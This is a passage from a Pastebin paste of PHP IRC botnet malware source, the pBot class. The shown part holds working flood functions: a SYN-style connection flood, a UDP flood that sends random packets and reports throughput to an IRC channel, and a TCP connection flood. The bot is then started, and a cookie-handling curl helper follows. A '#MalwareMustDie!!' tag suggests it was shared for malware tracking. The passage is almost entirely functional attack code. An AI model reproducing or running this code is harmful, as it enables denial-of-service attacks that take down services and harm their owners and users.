  716.         $socks[$numsocks] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  717.         if(!$socks[$numsocks])
  718.             continue;
  719.         @socket_set_nonblock($socks[$numsocks]);
  720.         for($j = 0; $j < 20; $j++)
  721.             @socket_connect($socks[$numsocks], $host, $port);
  722.         sleep($delay);
  723.         for ($j = 0; $j < $numsocks; $j++) {
  724.             if($socks[$j])
  725.                 @socket_close($socks[$j]);
  726.         }
  727.         $this->privmsg($this->config['chan'], "[\2SynFlood Finished!\2]: Config - For $host:$port.");
  728.     }
  729.     public function udpflood($host, $port, $time, $packetsize) {
  730.         $this->privmsg($this->config['chan'], "[\2UdpFlood Started!\2]");
  731.         $packet = "";
  732.         for ($i = 0; $i < $packetsize; $i++) {
  733.             $packet .= chr(rand(1, 256));
  734.         }
  735.         $end = time() + $time;
  736.         $i   = 0;
  737.         $fp  = fsockopen("udp://" . $host, $port, $e, $s, 5);
  738.         while (true) {
  739.             fwrite($fp, $packet);
  740.             fflush($fp);
  741.             if ($i % 100 == 0) {
  742.                 if($end < time())
  743.                     break;
  744.             }
  745.             $i++;
  746.         }
  747.         fclose($fp);
  748.         $env = $i * $packetsize;
  749.         $env = $env / 1048576;
  750.         $vel = $env / $time;
  751.         $vel = round($vel);
  752.         $env = round($env);
  753.         $this->privmsg($this->config['chan'], "[\2UdpFlood Finished!\2]: " . $env . " MB sent / Average: " . $vel . " MB/s ");
  754.     }
  755.     public function tcpconn($host, $port, $time) {
  756.         $this->privmsg($this->config['chan'], "[\2TcpConn Started!\2]");
  757.         $end = time() + $time;
  758.         $i   = 0;
  759.         while ($end > time()) {
  760.             $fp = fsockopen($host, $port, $dummy, $dummy, 1);
  761.             fclose($fp);
  762.             $i++;
  763.         }
  764.         $this->privmsg($this->config['chan'], "[\2TcpFlood Finished!\2]: sent " . $i . " connections to $host:$port.");
  765.     }
  766. }
  767. $bot = new pBot;
  768. $bot->start($cfg);
  769.  
  770. function curl($url, $post=array(), $user_agent="", $deleteCookies=false) {
  771.     $ch = curl_init($url);
  772.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  773.     curl_setopt($ch, CURLOPT_URL, $url);
  774.     if ($user_agent) {
  775.         curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
  776.     }
  777.     if (!empty($post)) {
  778.         curl_setopt($ch,CURLOPT_POST, 1);
  779.         curl_setopt($ch,CURLOPT_POSTFIELDS, $post);
  780.     }
  781.     if ($deleteCookies) {
  782.         file_put_contents("cookie.txt", "");
  783.     }
  784.     curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt");
  785.     curl_setopt ($ch, CURLOPT_COOKIEFILE, "cookie.txt");
  786.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  787.     $result = curl_exec($ch);
  788.     //$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  789.     curl_close($ch);
  790.  
  791.     return $result;
  792. }
  793.  
  794. function get_between($string,$start,$end) {
  795.     $string = " ".$string;
  796.     $ini = strpos($string, $start);
  797.     if($ini==0) return "";
  798.     $ini += strlen($start);
  799.     $len = strpos($string, $end, $ini) - $ini;
  800.  
  801.     return substr($string, $ini, $len);
  802. }
  803.  
  804. ---
  805. #MalwareMustDie!!
RAW Paste Data
Want to get better at PHP?
Learn to code PHP in 2017
Pastebin PRO Summer Special!
Get 40% OFF on Pastebin PRO accounts!
Top